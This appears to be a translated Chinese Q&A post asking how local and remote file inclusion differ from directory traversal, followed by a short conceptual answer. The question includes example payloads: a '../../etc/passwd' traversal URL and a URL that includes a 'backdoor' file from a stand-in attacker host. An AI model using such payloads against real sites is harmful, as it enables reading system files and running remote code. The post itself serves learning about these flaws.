本地文件包含 (LFI) 和远程文件包含 (RFI) 有什么区别?

信息安全 Web应用程序 脆弱性 术语 文件包含
2021-08-15 23:26:06

基于this previous question,目录遍历和文件包含之间的区别似乎如下:

目录遍历

  • 对用户输入的不正确验证会导致对服务器资源的读取访问
  • 例子: http://www.example.com?file=../../etc/passwd

文件包含

  • 用户输入的不正确验证会导致将外部资源加载到服务器中并在其中执行
  • 例子: http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor

但是,此链接使用本地文件包含远程文件包含这两个词来描述这些概念。

所以,是第一个例子

  • 目录遍历与文件包含

和第二个例子一样

  • 本地文件包含与远程文件包含

即 LFI/RFI 只是同一事物的不同术语?

1个回答

您的困惑源于您对目录遍历的过于广泛的理解。

遍历意味着可以从另一个目录读取。并不是说可以读取文件。

LFI 正在读取当前工作目录中的本地文件,或者使用遍历,读取另一个目录中的文件。

RFI 包含来自外部来源的文件。

可能存在 LFI 漏洞而没有目录遍历漏洞(当前上下文的本地文件)。而且,从技术上讲,可能存在不会导致 LFI 的遍历漏洞。